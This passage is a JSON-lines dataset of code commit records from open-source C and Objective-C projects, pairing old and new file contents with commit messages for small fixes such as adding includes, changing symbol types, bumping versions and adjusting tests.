override;\n};\n\n}\n\n","subject":"Fix forward declaration of BmStorageLinkContext.","message":"Fix forward declaration of BmStorageLinkContext.\n","lang":"C","license":"apache-2.0","repos":"vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa"}
{"commit":"cf9b2331ac6fe98e3c0443853226f1ef76668f8e","old_file":"src\/tests\/behaviour\/dictionary\/skip_list\/test_behaviour_skip_list.c","new_file":"src\/tests\/behaviour\/dictionary\/skip_list\/test_behaviour_skip_list.c","old_contents":"\/******************************************************************************\/\n\/**\n@file\n@author\t\tKris Wallperington\n@brief\t\tBehaviour tests for the skip list implementation.\n@copyright\tCopyright 2016\n\t\t\t\tThe University of British Columbia,\n\t\t\t\tIonDB Project Contributors (see AUTHORS.md)\n@par\n\t\t\tLicensed under the Apache License, Version 2.0 (the \"License\");\n\t\t\tyou may not use this file except in compliance with the License.\n\t\t\tYou may obtain a copy of the License at\n\t\t\t\t\thttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n@par\n\t\t\tUnless required by applicable law or agreed to in writing,\n\t\t\tsoftware distributed under the License is distributed on an\n\t\t\t\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,\n\t\t\teither express or implied. See the License for the specific\n\t\t\tlanguage governing permissions and limitations under the\n\t\t\tLicense.\n*\/\n\/******************************************************************************\/\n\n#include \"..\/..\/..\/planckunit\/src\/planck_unit.h\"\n#include \"..\/behaviour_dictionary.h\"\n#include \"..\/..\/..\/..\/dictionary\/skip_list\/skip_list_handler.h\"\n#include \"test_behaviour_skip_list.h\"\n\nvoid\nrunalltests_behaviour_skip_list(\n\tvoid\n) {\n\tbhdct_run_tests(sldict_init, 7, BHDCT_ALL_TESTS);\n}\n","new_contents":"\/******************************************************************************\/\n\/**\n@file\n@author\t\tKris Wallperington\n@brief\t\tBehaviour tests for the skip list implementation.\n@copyright\tCopyright 2016\n\t\t\t\tThe University of British Columbia,\n\t\t\t\tIonDB Project Contributors (see AUTHORS.md)\n@par\n\t\t\tLicensed under the Apache License, Version 2.0 (the \"License\");\n\t\t\tyou may not use this file except in compliance with the License.\n\t\t\tYou may obtain a copy of the License at\n\t\t\t\t\thttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n@par\n\t\t\tUnless required by applicable law or agreed to in writing,\n\t\t\tsoftware distributed under the License is distributed on an\n\t\t\t\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,\n\t\t\teither express or implied. See the License for the specific\n\t\t\tlanguage governing permissions and limitations under the\n\t\t\tLicense.\n*\/\n\/******************************************************************************\/\n\n#include \"..\/..\/..\/planckunit\/src\/planck_unit.h\"\n#include \"..\/behaviour_dictionary.h\"\n#include \"..\/..\/..\/..\/dictionary\/skip_list\/skip_list_handler.h\"\n#include \"test_behaviour_skip_list.h\"\n\nvoid\nrunalltests_behaviour_skip_list(\n\tvoid\n) {\n#if defined(ARDUINO)\n\tbhdct_run_tests(sldict_init, 7, BHDCT_ALL_TESTS & ~BHDCT_STRING_INT);\n#else\n\tbhdct_run_tests(sldict_init, 7, BHDCT_ALL_TESTS);\n#endif\n}\n","subject":"Exclude skiplist string key tests from device","message":"Exclude skiplist string key tests from device\n","lang":"C","license":"bsd-3-clause","repos":"iondbproject\/iondb,iondbproject\/iondb"}
{"commit":"bb520e80e50731c9a2fb2009d8b0f9c8768db00d","old_file":"test2\/__attribute__\/cleanup\/auto_out_param.c","new_file":"test2\/__attribute__\/cleanup\/auto_out_param.c","old_contents":"","new_contents":"\/\/ RUN: %ocheck 0 %s\n\nstruct store_out\n{\n\tint *local;\n\tint *ret;\n};\n\nvoid store_out(const struct store_out *const so)\n{\n\t*so->ret = *so->local;\n}\n\nvoid f(int *p)\n{\n\tint i = *p;\n\tstruct store_out so __attribute((cleanup(store_out))) = {\n\t\t.local = &i,\n\t\t.ret = p\n\t};\n\n\ti = 5;\n}\n\nmain()\n{\n\tint i = 3;\n\n\tf(&i);\n\n\tif(i != 5)\n\t\tabort();\n\n\treturn 0;\n}\n","subject":"Test cleanup-attribute with const struct parameter","message":"Test cleanup-attribute with const struct parameter\n","lang":"C","license":"mit","repos":"8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler"}
{"commit":"8174824ff0c364be8d5bdb057eed087fa9d2b55a","old_file":"src-separate\/linux\/dux_timer_linux.c","new_file":"src-separate\/linux\/dux_timer_linux.c","old_contents":"","new_contents":"#if !defined(DUX_OPT_NO_TIMER) && defined(__linux__)\n\n#include \"..\/dux_internal.h\"\n#include <time.h>\n\nDUK_INTERNAL duk_uint_t dux_timer_current(void)\n{\n\tstruct timespec tp;\n\tif (clock_gettime(CLOCK_MONOTONIC, &tp) != 0)\n\t{\n\t\treturn 0;\n\t}\n\treturn (duk_uint_t)(tp.tv_sec * 1000 + tp.tv_nsec \/ 1000000);\n}\n\n#endif  \/* !DUX_OPT_NO_TIMER && __linux__ *\/\n","subject":"Add Linux porting (for testing)","message":"Add Linux porting (for testing)\n","lang":"C","license":"mit","repos":"kimushu\/duktape-extension,kimushu\/duktape-extension,kimushu\/duktape-extension"}
{"commit":"5cc3518924500882d85dfa5a6c9d9816d5d60f07","old_file":"KLog\/klog\/basic_types.h","new_file":"KLog\/klog\/basic_types.h","old_contents":"\/*\n @ 0xCCCCCCCC\n*\/\n\n#if defined(_MSC_VER)\n#pragma once\n#endif\n\n#ifndef KLOG_BASIC_TYPES_H_\n#define KLOG_BASIC_TYPES_H_\n\n#include <string>\n\n#include \"klog\/basic_macros.h\"\n\nnamespace klog {\n\n#if defined(OS_WIN)\nusing PathChar = wchar_t;\nusing PathString = std::wstring;\n#else\nusing PathChar = char;\nusing PathString = std::string;\n#endif\n\n}   \/\/ namespace klog\n\n#endif  \/\/ KLOG_BASIC_TYPES_H_","new_contents":"\/*\n @ 0xCCCCCCCC\n*\/\n\n#if defined(_MSC_VER)\n#pragma once\n#endif\n\n#ifndef KLOG_BASIC_TYPES_H_\n#define KLOG_BASIC_TYPES_H_\n\n#include <string>\n\n#include \"klog\/basic_macros.h\"\n\nnamespace klog {\n\n#if defined(OS_WIN)\nusing PathChar = wchar_t;\nusing PathString = std::wstring;\n#define PATH_LITERAL(str) L##str\n#else\nusing PathChar = char;\nusing PathString = std::string;\n#define PATH_LITERAL(str) str\n#endif\n\n}   \/\/ namespace klog\n\n#endif  \/\/ KLOG_BASIC_TYPES_H_","subject":"Introduce the macro `PATH_LITERAL` for helping construct `PathString`.","message":"Introduce the macro `PATH_LITERAL` for helping construct `PathString`.\n","lang":"C","license":"mit","repos":"kingsamchen\/KLog"}
{"commit":"13c12a4e8ecdf3998cd2d89ade69f6f194819c95","old_file":"arch\/sh\/include\/asm\/sections.h","new_file":"arch\/sh\/include\/asm\/sections.h","old_contents":"#ifndef __ASM_SH_SECTIONS_H\n#define __ASM_SH_SECTIONS_H\n\n#include <asm-generic\/sections.h>\n\nextern void __nosave_begin, __nosave_end;\nextern long __machvec_start, __machvec_end;\nextern char __uncached_start, __uncached_end;\nextern char _ebss[];\nextern char __start_eh_frame[], __stop_eh_frame[];\n\n#endif \/* __ASM_SH_SECTIONS_H *\/\n\n","new_contents":"#ifndef __ASM_SH_SECTIONS_H\n#define __ASM_SH_SECTIONS_H\n\n#include <asm-generic\/sections.h>\n\nextern long __nosave_begin, __nosave_end;\nextern long __machvec_start, __machvec_end;\nextern char __uncached_start, __uncached_end;\nextern char _ebss[];\nextern char __start_eh_frame[], __stop_eh_frame[];\n\n#endif \/* __ASM_SH_SECTIONS_H *\/\n\n","subject":"Change __nosave_XXX symbols to long","message":"sh: Change __nosave_XXX symbols to long\n\nThis patch changes the:\n - __nosave_begin\n - __nosave_end\nsymbols from 'void' to 'long' as required by the latest\nGcc (4.5.2) which raises the compilation error:\n\ncc1: warnings being treated as errors\narch\/sh\/kernel\/swsusp.c: In function 'pfn_is_nosave':\narch\/sh\/kernel\/swsusp.c:24:28: error: taking address of expression of type 'void'\narch\/sh\/kernel\/swsusp.c:25:26: error: taking address of expression of type 'void'\narch\/sh\/kernel\/swsusp.c:25:26: error: taking address of expression of type 'void'\narch\/sh\/kernel\/swsusp.c:25:26: error: taking address of expression of type 'void'\n\nSigned-off-by: Francesco Virlinzi <00d6e8a4362f3bfb0eaf689488e556cc379113b6@st.com>\nSigned-off-by: Paul Mundt <38b52dbb5f0b63d149982b6c5de788ec93a89032@linux-sh.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"13bae2a0c5e8a4ee9c0c4c483f8b222308d3479a","old_file":"You-Controller-Tests\/exclusions.h","new_file":"You-Controller-Tests\/exclusions.h","old_contents":"#pragma once\n#ifndef YOU_CONTROLLER_TESTS_EXCLUSIONS_H_\n#define YOU_CONTROLLER_TESTS_EXCLUSIONS_H_\n\n\/\/ A local define since there is no way to test whether a header file exists.\n\/\/ If you have VS Premium, then add it to the project definition (user\n\/\/ properties) file\n#ifdef MS_CPP_CODECOVERAGE\n\n\/\/\/ \\file Exclusions from code coverage analysis.\n\/\/\/ See http:\/\/msdn.microsoft.com\/en-sg\/library\/dd537628.aspx\n\n#include <CodeCoverage\/CodeCoverage.h>\n#pragma managed(push, off)\n\nExcludeFromCodeCoverage(boost, L\"boost::*\");\nExcludeFromCodeCoverage(You_QueryEngine, L\"You::QueryEngine::*\");\n\n#pragma managed(pop)\n\n#endif  \/\/ MS_CPP_CODECOVERAGE\n\n#endif  \/\/ YOU_CONTROLLER_TESTS_EXCLUSIONS_H_\n","new_contents":"#pragma once\n#ifndef YOU_CONTROLLER_TESTS_EXCLUSIONS_H_\n#define YOU_CONTROLLER_TESTS_EXCLUSIONS_H_\n\n\/\/ A local define since there is no way to test whether a header file exists.\n\/\/ If you have VS Premium, then add it to the project definition (user\n\/\/ properties) file\n#ifdef MS_CPP_CODECOVERAGE\n\n\/\/\/ \\file Exclusions from code coverage analysis.\n\/\/\/ See http:\/\/msdn.microsoft.com\/en-sg\/library\/dd537628.aspx\n\n#include <CodeCoverage\/CodeCoverage.h>\n#pragma managed(push, off)\n\nExcludeFromCodeCoverage(boost, L\"boost::*\");\nExcludeFromCodeCoverage(You_NLP, L\"You::NLP::*\");\nExcludeFromCodeCoverage(You_QueryEngine, L\"You::QueryEngine::*\");\nExcludeFromCodeCoverage(You_Utils, L\"You::Utils::*\");\n\n#pragma managed(pop)\n\n#endif  \/\/ MS_CPP_CODECOVERAGE\n\n#endif  \/\/ YOU_CONTROLLER_TESTS_EXCLUSIONS_H_\n","subject":"Exclude 3rd party code from the controller tests code coverage.","message":"Exclude 3rd party code from the controller tests code coverage.\n","lang":"C","license":"mit","repos":"cs2103aug2014-w10-1c\/main,cs2103aug2014-w10-1c\/main"}
{"commit":"6f0b8edb8a65d983b444efd04b787f68938a66f1","old_file":"sky\/shell\/ios\/sky_surface.h","new_file":"sky\/shell\/ios\/sky_surface.h","old_contents":"\/\/ Copyright 2015 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#import <UIKit\/UIKit.h>\n#import \"sky\/shell\/shell_view.h\"\n\n@interface SkySurface : UIView\n\n-(instancetype) initWithShellView:(sky::shell::ShellView *) shellView;\n\n@end\n\nextern \"C\" {\nvoid SaveFrameToSkPicture();\n}\n","new_contents":"\/\/ Copyright 2015 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#import <UIKit\/UIKit.h>\n#import \"sky\/shell\/shell_view.h\"\n\n@interface SkySurface : UIView\n\n-(instancetype) initWithShellView:(sky::shell::ShellView *) shellView;\n\n@end\n","subject":"Remove deleted header declaration for SaveFrameToSkPicture","message":"Remove deleted header declaration for SaveFrameToSkPicture\n","lang":"C","license":"bsd-3-clause","repos":"tvolkert\/engine,jason-simmons\/sky_engine,jamesr\/sky_engine,jamesr\/flutter_engine,cdotstout\/sky_engine,lyceel\/engine,tvolkert\/engine,mpcomplete\/engine,devoncarew\/engine,devoncarew\/sky_engine,flutter\/engine,mikejurka\/engine,chinmaygarde\/flutter_engine,rmacnak-google\/engine,mdakin\/engine,abarth\/sky_engine,tvolkert\/engine,chinmaygarde\/flutter_engine,abarth\/sky_engine,mikejurka\/engine,mikejurka\/engine,mpcomplete\/engine,aam\/engine,cdotstout\/sky_engine,devoncarew\/engine,Hixie\/sky_engine,jamesr\/sky_engine,lyceel\/engine,devoncarew\/engine,rmacnak-google\/engine,devoncarew\/sky_engine,jason-simmons\/flutter_engine,aam\/engine,jamesr\/sky_engine,mpcomplete\/engine,krisgiesing\/sky_engine,flutter\/engine,mpcomplete\/flutter_engine,flutter\/engine,abarth\/sky_engine,devoncarew\/sky_engine,devoncarew\/sky_engine,mxia\/engine,mpcomplete\/engine,krisgiesing\/sky_engine,jason-simmons\/sky_engine,rmacnak-google\/engine,mdakin\/engine,mikejurka\/engine,chinmaygarde\/sky_engine,mdakin\/engine,mpcomplete\/engine,abarth\/sky_engine,mxia\/engine,tvolkert\/engine,chinmaygarde\/sky_engine,jason-simmons\/flutter_engine,krisgiesing\/sky_engine,jamesr\/sky_engine,tvolkert\/engine,Hixie\/sky_engine,jason-simmons\/flutter_engine,chinmaygarde\/sky_engine,cdotstout\/sky_engine,lyceel\/engine,chinmaygarde\/flutter_engine,chinmaygarde\/sky_engine,mikejurka\/engine,aam\/engine,mxia\/engine,devoncarew\/engine,chinmaygarde\/flutter_engine,jason-simmons\/sky_engine,jamesr\/flutter_engine,rmacnak-google\/engine,mpcomplete\/flutter_engine,cdotstout\/sky_engine,jamesr\/sky_engine,jason-simmons\/flutter_engine,Hixie\/sky_engine,cdotstout\/sky_engine,mxia\/engine,rmacnak-google\/engine,rmacnak-google\/engine,devoncarew\/sky_engine,cdotstout\/sky_engine,mpcomplete\/engine,jason-simmons\/sky_engine,jason-simmons\/sky_engine,jamesr\/flutter_engine,chinmaygarde\/sky_engine,mdakin\/engine,jamesr\/flutter_engine,devoncarew\/sky_engine,jason-simmons\/sky_engine,chinmaygarde\/flutter_engine,chinmaygarde\/flutter_engine,mpcomplete\/flutter_engine,flutter\/engine,aam\/engine,mxia\/engine,mikejurka\/engine,Hixie\/sky_engine,mdakin\/engine,aam\/engine,flutter\/engine,lyceel\/engine,mpcomplete\/engine,mxia\/engine,devoncarew\/engine,mpcomplete\/flutter_engine,abarth\/sky_engine,tvolkert\/engine,chinmaygarde\/flutter_engine,Hixie\/sky_engine,jason-simmons\/flutter_engine,jamesr\/sky_engine,mikejurka\/engine,aam\/engine,Hixie\/sky_engine,krisgiesing\/sky_engine,flutter\/engine,mdakin\/engine,lyceel\/engine,Hixie\/sky_engine,jamesr\/flutter_engine,jamesr\/flutter_engine,mikejurka\/engine,jamesr\/sky_engine,jason-simmons\/sky_engine,mdakin\/engine,mpcomplete\/flutter_engine,mxia\/engine,abarth\/sky_engine,aam\/engine,jamesr\/flutter_engine,chinmaygarde\/sky_engine,krisgiesing\/sky_engine,mdakin\/engine,flutter\/engine,tvolkert\/engine,lyceel\/engine,aam\/engine,jason-simmons\/flutter_engine,mikejurka\/engine,mxia\/engine,jason-simmons\/flutter_engine,mpcomplete\/engine,abarth\/sky_engine,krisgiesing\/sky_engine,jamesr\/flutter_engine,devoncarew\/engine,devoncarew\/sky_engine,flutter\/engine,jason-simmons\/flutter_engine,mpcomplete\/flutter_engine,lyceel\/engine,Hixie\/sky_engine,chinmaygarde\/sky_engine,jamesr\/flutter_engine,rmacnak-google\/engine,devoncarew\/engine,cdotstout\/sky_engine,krisgiesing\/sky_engine"}
{"commit":"d6476e4f3c29fc64ddb0b6ac8db81162deff1a41","old_file":"php_chdb.h","new_file":"php_chdb.h","old_contents":"\/* This module exposes to PHP the equivalent of:\n *   \/\/ Creates a chdb file containing the key-value pairs specified in the\n *   \/\/ array $data, or throws an exception in case of error.\n *   function chdb_create($pathname, $data);\n *\n *   \/\/ Represents a loaded chdb file.\n *   class chdb\n *   {\n *           \/\/ Loads a chdb file, or throws an exception in case of error.\n *           public function __construct($pathname);\n *\n *           \/\/ Returns the value of the given $key, or null if not found.\n *           public function get($key);\n *   }\n *\/\n\n#ifndef PHP_CHDB_H\n#define PHP_CHDB_H\n\n#ifdef HAVE_CONFIG_H\n# include \"config.h\"\n#endif\n\n#include <php.h>\n\n#define PHP_CHDB_VERSION \"0.1\"\n\nextern zend_module_entry chdb_module_entry;\n#define phpext_chdb_ptr &chdb_module_entry\n\n#endif\n\n","new_contents":"\/* This module exposes to PHP the equivalent of:\n *   \/\/ Creates a chdb file containing the key-value pairs specified in the\n *   \/\/ array $data, or throws an exception in case of error.\n *   function chdb_create($pathname, $data);\n *\n *   \/\/ Represents a loaded chdb file.\n *   class chdb\n *   {\n *           \/\/ Loads a chdb file, or throws an exception in case of error.\n *           public function __construct($pathname);\n *\n *           \/\/ Returns the value of the given $key, or null if not found.\n *           public function get($key);\n *   }\n *\/\n\n#ifndef PHP_CHDB_H\n#define PHP_CHDB_H\n\n#ifdef HAVE_CONFIG_H\n# include \"config.h\"\n#endif\n\n#include <php.h>\n\n#define PHP_CHDB_VERSION \"0.1.0\"\n\nextern zend_module_entry chdb_module_entry;\n#define phpext_chdb_ptr &chdb_module_entry\n\n#endif\n\n","subject":"Change version to 0.1.0 to follow the PHP standard.","message":"Change version to 0.1.0 to follow the PHP standard.\n","lang":"C","license":"bsd-3-clause","repos":"lcastelli\/chdb"}
{"commit":"745f0a06935763997083b714530421adc44f3452","old_file":"src\/global.h","new_file":"src\/global.h","old_contents":"#ifndef GLOBAL__H\n#define GLOBAL__H\n\nnamespace qflex::global {\n\n\/\/ Default verbose level\ninline int verbose = 0;\n\n\/\/ Max allowed memory (default: 1GB)\ninline std::size_t memory_limit = 1L << 30;\n\n\/\/ Interval to track memory (default: 0)\ninline std::size_t track_memory_seconds = 0;\n\n}  \/\/ namespace qflex::global\n\n#endif\n","new_contents":"#ifndef GLOBAL__H\n#define GLOBAL__H\n\n#include <cstddef>\n\nnamespace qflex::global {\n\n\/\/ Default verbose level\ninline int verbose = 0;\n\n\/\/ Max allowed memory (default: 1GB)\ninline std::size_t memory_limit = 1L << 30;\n\n\/\/ Interval to track memory (default: 0)\ninline std::size_t track_memory_seconds = 0;\n\n}  \/\/ namespace qflex::global\n\n#endif\n","subject":"Add <cstddef> to use std::size_t.","message":"Add <cstddef> to use std::size_t.\n","lang":"C","license":"apache-2.0","repos":"ngnrsaa\/qflex,ngnrsaa\/qflex,ngnrsaa\/qflex,ngnrsaa\/qflex"}
{"commit":"59414b372770f32d94689711acde04b7c7d75fea","old_file":"ReactiveCocoaFramework\/ReactiveCocoa\/RACDelegateProxy.h","new_file":"ReactiveCocoaFramework\/ReactiveCocoa\/RACDelegateProxy.h","old_contents":"\/\/\n\/\/  RACDelegateProxy.h\n\/\/  ReactiveCocoa\n\/\/\n\/\/  Created by Cody Krieger on 5\/19\/12.\n\/\/  Copyright (c) 2012 GitHub, Inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/\/ A delegate object suitable for using -rac_signalForSelector:fromProtocol:\n\/\/ upon.\n@interface RACDelegateProxy : NSObject\n\n\/\/ The delegate to which messages should be forwarded if not handled by\n\/\/ any -rac_signalForSelector:fromProtocol: applications.\n@property (nonatomic, weak) id rac_proxiedDelegate;\n\n\/\/ Creates a delegate proxy which will respond to selectors from `protocol`.\n- (instancetype)initWithProtocol:(Protocol *)protocol;\n\n@end\n","new_contents":"\/\/\n\/\/  RACDelegateProxy.h\n\/\/  ReactiveCocoa\n\/\/\n\/\/  Created by Cody Krieger on 5\/19\/12.\n\/\/  Copyright (c) 2012 GitHub, Inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/\/ A delegate object suitable for using -rac_signalForSelector:fromProtocol:\n\/\/ upon.\n@interface RACDelegateProxy : NSObject\n\n\/\/ The delegate to which messages should be forwarded if not handled by\n\/\/ any -rac_signalForSelector:fromProtocol: applications.\n@property (nonatomic, unsafe_unretained) id rac_proxiedDelegate;\n\n\/\/ Creates a delegate proxy which will respond to selectors from `protocol`.\n- (instancetype)initWithProtocol:(Protocol *)protocol;\n\n@end\n","subject":"Use unsafe_unretained for delegates, to support OS X","message":"Use unsafe_unretained for delegates, to support OS X\n","lang":"C","license":"mit","repos":"zhigang1992\/ReactiveCocoa,nickcheng\/ReactiveCocoa,andersio\/ReactiveCocoa,ShawnLeee\/ReactiveCocoa,chieryw\/ReactiveCocoa,msdgwzhy6\/ReactiveCocoa,j364960953\/ReactiveCocoa,zhukaixy\/ReactiveCocoa,WEIBP\/ReactiveCocoa,longv2go\/ReactiveCocoa,Ray0218\/ReactiveCocoa,mtxs007\/ReactiveCocoa,zzqiltw\/ReactiveCocoa,wpstarnice\/ReactiveCocoa,taylormoonxu\/ReactiveCocoa,natan\/ReactiveCocoa,hj3938\/ReactiveCocoa,taylormoonxu\/ReactiveCocoa,ceekayel\/ReactiveCocoa,eyu1988\/ReactiveCocoa,Juraldinio\/ReactiveCocoa,sujeking\/ReactiveCocoa,leichunfeng\/ReactiveCocoa,jrmiddle\/ReactiveCocoa,KuPai32G\/ReactiveCocoa,fanghao085\/ReactiveCocoa,itschaitanya\/ReactiveCocoa,takeshineshiro\/ReactiveCocoa,Farteen\/ReactiveCocoa,walkingsmarts\/ReactiveCocoa,terry408911\/ReactiveCocoa,Rupert-RR\/ReactiveCocoa,buildo\/ReactiveCocoa,kiurentu\/ReactiveCocoa,isghe\/ReactiveCocoa,beni55\/ReactiveCocoa,yonekawa\/ReactiveCocoa,ikesyo\/ReactiveCocoa,tipbit\/ReactiveCocoa,BrooksWon\/ReactiveCocoa,j364960953\/ReactiveCocoa,cstars135\/ReactiveCocoa,libiao88\/ReactiveCocoa,yizzuide\/ReactiveCocoa,dachaoisme\/ReactiveCocoa,WEIBP\/ReactiveCocoa,jsslai\/ReactiveCocoa,bscarano\/ReactiveCocoa,isghe\/ReactiveCocoa,loupman\/ReactiveCocoa,shuxiashusheng\/ReactiveCocoa,ReactiveCocoa\/ReactiveSwift,monkeydbobo\/ReactiveCocoa,FelixYin66\/ReactiveCocoa,DreamHill\/ReactiveCocoa,beni55\/ReactiveCocoa,FelixYin66\/ReactiveCocoa,JohnJin007\/ReactiveCocoa,335g\/ReactiveCocoa,calebd\/ReactiveCocoa,rpowelll\/ReactiveCocoa,LHDsimon\/ReactiveCocoa,alvinvarghese\/ReactiveCocoa,howandhao\/ReactiveCocoa,calebd\/ReactiveCocoa,emodeqidao\/ReactiveCocoa,esttorhe\/ReactiveCocoa,fhchina\/ReactiveCocoa,gabemdev\/ReactiveCocoa,cnbin\/ReactiveCocoa,JohnJin007\/ReactiveCocoa,on99\/ReactiveCocoa,Juraldinio\/ReactiveCocoa,paulyoung\/ReactiveCocoa,dz1111\/ReactiveCocoa,ReactiveCocoa\/ReactiveSwift,mattpetters\/ReactiveCocoa,ohwutup\/ReactiveCocoa,SmartEncounter\/ReactiveCocoa,WEIBP\/ReactiveCocoa,brightcove\/ReactiveCocoa,yangshengchaoios\/ReactiveCocoa,mxxiv\/ReactiveCocoa,yytong\/ReactiveCocoa,Khan\/ReactiveCocoa,Pingco\/ReactiveCocoa,loupman\/ReactiveCocoa,shuxiashusheng\/ReactiveCocoa,jsslai\/ReactiveCocoa,almassapargali\/ReactiveCocoa,andersio\/ReactiveCocoa,Farteen\/ReactiveCocoa,wpstarnice\/ReactiveCocoa,SuPair\/ReactiveCocoa,hbucius\/ReactiveCocoa,wpstarnice\/ReactiveCocoa,towik\/ReactiveCocoa,nickcheng\/ReactiveCocoa,200895045\/ReactiveCocoa,add715\/ReactiveCocoa,imkerberos\/ReactiveCocoa,DongDongDongDong\/ReactiveCocoa,cogddo\/ReactiveCocoa,KJin99\/ReactiveCocoa,CQXfly\/ReactiveCocoa,jsslai\/ReactiveCocoa,jaylib\/ReactiveCocoa,valleyman86\/ReactiveCocoa,ericzhou2008\/ReactiveCocoa,brightcove\/ReactiveCocoa,Eveian\/ReactiveCocoa,icepy\/ReactiveCocoa,AllanChen\/ReactiveCocoa,nickcheng\/ReactiveCocoa,vincentiss\/ReactiveCocoa,chieryw\/ReactiveCocoa,goodheart\/ReactiveCocoa,gengjf\/ReactiveCocoa,vincentiss\/ReactiveCocoa,zxq3220122\/ReactiveCocoa,Eveian\/ReactiveCocoa,sdhzwm\/ReactiveCocoa,ReactiveCocoa\/ReactiveSwift,xiaoliyang\/ReactiveCocoa,ddc391565320\/ReactiveCocoa,yangyangluoluo\/ReactiveCocoa,huiping192\/ReactiveCocoa,Ricowere\/ReactiveCocoa,hbucius\/ReactiveCocoa,PSPDFKit-labs\/ReactiveCocoa,Carthage\/ReactiveCocoa,victorlin\/ReactiveCocoa,tzongw\/ReactiveCocoa,qq644531343\/ReactiveCocoa,Carthage\/ReactiveCocoa,SuPair\/ReactiveCocoa,koamac\/ReactiveCocoa,cogddo\/ReactiveCocoa,JackLian\/ReactiveCocoa,jianwoo\/ReactiveCocoa,juliangrosshauser\/ReactiveCocoa,tonyarnold\/ReactiveCocoa,ailyanlu\/ReactiveCocoa,jackywpy\/ReactiveCocoa,CQXfly\/ReactiveCocoa,paulyoung\/ReactiveCocoa,stupidfive\/ReactiveCocoa,RuiAAPeres\/ReactiveCocoa,liufeigit\/ReactiveCocoa,OnTheWay1988\/ReactiveCocoa,jeelun\/ReactiveCocoa,wangqi211\/ReactiveCocoa,stupidfive\/ReactiveCocoa,j364960953\/ReactiveCocoa,yizzuide\/ReactiveCocoa,jam891\/ReactiveCocoa,swizzlr\/ReactiveCocoa,Adlai-Holler\/ReactiveCocoa,Ethan89\/ReactiveCocoa,Liquidsoul\/ReactiveCocoa,on99\/ReactiveCocoa,huiping192\/ReactiveCocoa,tzongw\/ReactiveCocoa,tonyli508\/ReactiveCocoa,itschaitanya\/ReactiveCocoa,takeshineshiro\/ReactiveCocoa,bensonday\/ReactiveCocoa,ioshger0125\/ReactiveCocoa,chieryw\/ReactiveCocoa,KuPai32G\/ReactiveCocoa,ioshger0125\/ReactiveCocoa,jrmiddle\/ReactiveCocoa,sandyway\/ReactiveCocoa,PSPDFKit-labs\/ReactiveCocoa,wangqi211\/ReactiveCocoa,zzzworm\/ReactiveCocoa,zhiwen1024\/ReactiveCocoa,isghe\/ReactiveCocoa,natestedman\/ReactiveCocoa,yaoxiaoyong\/ReactiveCocoa,chao95957\/ReactiveCocoa,nikita-leonov\/ReactiveCocoa,nikita-leonov\/ReactiveCocoa,zxq3220122\/ReactiveCocoa,jackywpy\/ReactiveCocoa,CCOOOOLL\/ReactiveCocoa,taylormoonxu\/ReactiveCocoa,yizzuide\/ReactiveCocoa,yangyangluoluo\/ReactiveCocoa,llb1119\/test,brasbug\/ReactiveCocoa,nikita-leonov\/ReactiveCocoa,yonekawa\/ReactiveCocoa,victorlin\/ReactiveCocoa,esttorhe\/ReactiveCocoa,hbucius\/ReactiveCocoa,brasbug\/ReactiveCocoa,zhukaixy\/ReactiveCocoa,juliangrosshauser\/ReactiveCocoa,CQXfly\/ReactiveCocoa,SanChain\/ReactiveCocoa,KuPai32G\/ReactiveCocoa,cogddo\/ReactiveCocoa,richeterre\/ReactiveCocoa,dskatz22\/ReactiveCocoa,Ricowere\/ReactiveCocoa,GuitarPlayer-Ma\/ReactiveCocoa,ericzhou2008\/ReactiveCocoa,Liquidsoul\/ReactiveCocoa,zhiwen1024\/ReactiveCocoa,lixar\/ReactiveCocoa,AndyZhaoHe\/ReactiveCocoa,zhaoguohui\/ReactiveCocoa,jianwoo\/ReactiveCocoa,jeelun\/ReactiveCocoa,cnbin\/ReactiveCocoa,goodheart\/ReactiveCocoa,tiger8888\/ReactiveCocoa,dskatz22\/ReactiveCocoa,qq644531343\/ReactiveCocoa,zhukaixy\/ReactiveCocoa,kaylio\/ReactiveCocoa,shaohung001\/ReactiveCocoa,zhigang1992\/ReactiveCocoa,jam891\/ReactiveCocoa,dz1111\/ReactiveCocoa,walkingsmarts\/ReactiveCocoa,Eveian\/ReactiveCocoa,dskatz22\/ReactiveCocoa,Ricowere\/ReactiveCocoa,Pingco\/ReactiveCocoa,almassapargali\/ReactiveCocoa,Liquidsoul\/ReactiveCocoa,smilypeda\/ReactiveCocoa,ztchena\/ReactiveCocoa,qq644531343\/ReactiveCocoa,zhenlove\/ReactiveCocoa,windgo\/ReactiveCocoa,valleyman86\/ReactiveCocoa,richeterre\/ReactiveCocoa,alvinvarghese\/ReactiveCocoa,clg0118\/ReactiveCocoa,emodeqidao\/ReactiveCocoa,mattpetters\/ReactiveCocoa,xiaobing2007\/ReactiveCocoa,cstars135\/ReactiveCocoa,eliperkins\/ReactiveCocoa,GuitarPlayer-Ma\/ReactiveCocoa,tonyarnold\/ReactiveCocoa,vincentiss\/ReactiveCocoa,mattpetters\/ReactiveCocoa,kiurentu\/ReactiveCocoa,terry408911\/ReactiveCocoa,yoichitgy\/ReactiveCocoa,shuxiashusheng\/ReactiveCocoa,shaohung001\/ReactiveCocoa,brightcove\/ReactiveCocoa,CCOOOOLL\/ReactiveCocoa,PSPDFKit-labs\/Reactive